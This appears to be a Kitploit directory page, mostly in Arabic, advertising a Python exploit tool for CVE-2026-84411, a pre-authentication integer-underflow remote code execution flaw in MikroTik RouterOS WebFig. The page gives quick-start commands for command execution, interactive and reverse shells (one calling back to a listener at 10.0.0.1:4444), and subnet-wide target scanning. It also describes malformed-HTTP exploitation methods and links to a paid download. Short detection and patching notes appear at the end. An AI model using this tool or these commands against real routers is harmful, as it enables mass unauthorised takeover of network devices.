Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-84411 — استغلال بلغة Python للثغرة CVE-2026-84411، وهي تحت-انسياب عددي (integer underflow) قبل المصادقة في MikroTik RouterOS WebFig يتيح تنفيذ التعليمات عن بُعد (RCE)، مع الفحص وتنفيذ الأوامر والأصداف العكسية. | Kitploit
أدوات/GitHubGitHub/maxprog-svg/cve-2026-84411
أمان الأنظمة المدمجةالاستطلاعماسحات الثغرات الأمنيةأمان إنترنت الأشياءالاستغلالاستغلال تطبيقات الويبأمن الشبكاتاختبار الاختراقأداة الوصول عن بعد
GitHubmaxprog-svg/cve-2026-84411

CVE-2026-84411

استغلال بلغة Python للثغرة CVE-2026-84411، وهي تحت-انسياب عددي (integer underflow) قبل المصادقة في MikroTik RouterOS WebFig يتيح تنفيذ التعليمات عن بُعد (RCE)، مع الفحص وتنفيذ الأوامر والأصداف العكسية.

16منذ 27 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع

CVE-2026-84411 — استغلال تجاوز السالب الصحيح (Integer Underflow) في WebFig لنظام MikroTik RouterOS

نظرة عامة

CVE-2026-84411 هو ثغرة حرجة للتنفيذ عن بُعد للتعليمات البرمجية (RCE) قبل المصادقة في MikroTik RouterOS.

الحقلالقيمة
CVSS v39.8 (حرجة)
CWECWE-191: انخفاض عدد صحيح (Integer Underflow)
ناقل الهجومالشبكة
المصادقةلا شيء (قبل المصادقة)
التأثيرتنفيذ تعليمات برمجية عن بُعد كامل بصلاحيات الجذر / حجب الخدمة
المتأثرRouterOS < 7.24
المُصلَحRouterOS 7.24+

كيف تعمل

تحتوي خدمة الإدارة عبر الويب (WebFig، التي تستمع على TCP/80 وTCP/443) على انخفاض عدد صحيح في معالجة جسم طلب HTTP الخاص بها. يمكن لطلب HTTP واحد مصمم خصيصًا — يُرسَل دون تسجيل الدخول — أن يُعطّل الخدمة أو يسمح بتنفيذ تعليمات برمجية عشوائية بصلاحيات كاملة.

يحدث الانخفاض عندما يحسب المحلّل طول الجسم بتحقق غير كافٍ، مما يسمح للقيمة بالالتفاف إلى ما دون الصفر والانخفاض إلى عدد صحيح غير مُوقَّع كبير جدًا. عندئذٍ تتصرف عمليات الذاكرة التي تثق بهذا الطول التالف (النسخ، والتخصيصات، وفحوصات الحدود) بشكل كارثي.

البدء السريع

# 1. Quick scan
python3 cve-2026-84411.py -t http://192.168.88.1

# 2. Full exploit check
python3 cve-2026-84411.py -t http://192.168.88.1 --check

# 3. Execute a command
python3 cve-2026-84411.py -t http://192.168.88.1 --cmd "/system identity print"

# 4. Interactive shell
python3 cve-2026-84411.py -t http://192.168.88.1 --interactive

# 5. Reverse shell
python3 cve-2026-84411.py -t http://192.168.88.1 --shell 10.0.0.1 4444

# 6. Scan multiple targets from file
python3 cve-2026-84411.py -i targets.txt

# 7. Scan a subnet
python3 cve-2026-84411.py --range 192.168.88.0/24

# 8. List available reverse shell types
python3 cve-2026-84411.py --list-shells

الاستخدام

usage: cve-2026-84411.py [-h] [-t TARGET] [-i INPUT_FILE] [--range CIDR]
                         [--check] [--shell LHOST LPORT] [--cmd COMMAND]
                         [--interactive] [--list-shells]
                         [--lhost LHOST] [--lport LPORT] [-v]
                         [--timeout TIMEOUT] [--no-color]

CVE-2026-84411 — MikroTik RouterOS WebFig Integer Underflow Exploit

options:
  -h, --help            show this help message
  -t, --target TARGET   Target URL or host (e.g., http://192.168.88.1)
  -i, --input INPUT_FILE
                        File with targets (one per line)
  --range CIDR          IP range to scan (CIDR notation)
  --check               Run full exploit check
  --shell LHOST LPORT   Spawn reverse shell
  --cmd COMMAND         Execute single command
  --interactive         Interactive shell session
  --list-shells         List available reverse shell types
  --lhost LHOST         Listener host for reverse shell
  --lport LPORT         Listener port for reverse shell
  -v, --verbose         Verbose output
  --timeout TIMEOUT     Request timeout in seconds (default: 10)
  --no-color            Disable ANSI colours

طرق الاستغلال

تستخدم الأداة أربع طرق للكشف:

  1. Content-Length Underflow — إرسال POST مع Content-Length أكبر بكثير من حجم النص الفعلي
  2. Chunked Transfer Encoding — إرسال أحجام chunk متطرفة (UINT32_MAX، UINT16_MAX)
  3. Negative Content-Length — إرسال قيم Content-Length سالبة لتحفيز underflow
  4. Large Body — إرسال أجسام كبيرة جدًا مع Content-Length مطابق

أنواع Reverse Shell

النوعالأمر
bashReverse shell قياسي بـ bash
pythonReverse shell بـ Python 2
python3Reverse shell بـ Python 3
perlReverse shell بـ Perl
phpReverse shell بـ PHP
ncReverse shell بـ Netcat

تنسيق الملف للفحص الدفعي

targets.txt — هدف واحد لكل سطر:

http://192.168.88.1
https://10.0.0.1
192.168.1.100
https://router.example.com

الكشف والاستجابة

القياسات الشبكية عن بُعد

أعلى إشارة موثوقية هي أي اتصال بمنافذ إدارة الويب في RouterOS (TCP/80، TCP/443) من مصدر ليس مضيف إدارة معروفًا.

قواعد Sigma

راجع منشور مدونة Security Arsenal للحصول على قواعد Sigma: https://securityarsenal.com/blog/cve-2026-84411-mikrotik-routeros-pre-auth-integer-underflow-detection-and-remediation-guide

التخفيف

قم بالتحديث إلى RouterOS 7.24 أو أحدث.

المراجع

  • MikroTik Advisory
  • CISA Advisory ICSA-26-272-06
  • NVD CVE-2026-84411
  • SentinelOne Analysis
  • Go PoC

الترخيص

لاختبارات الأمان المصرح بها فقط.

المؤلف

نسخة Python مبنية على Go PoC بواسطة Gagaltotal666 / GhostGTR666.

https://satoshidisk.com/pay/CSaodb

تنزيل الأداة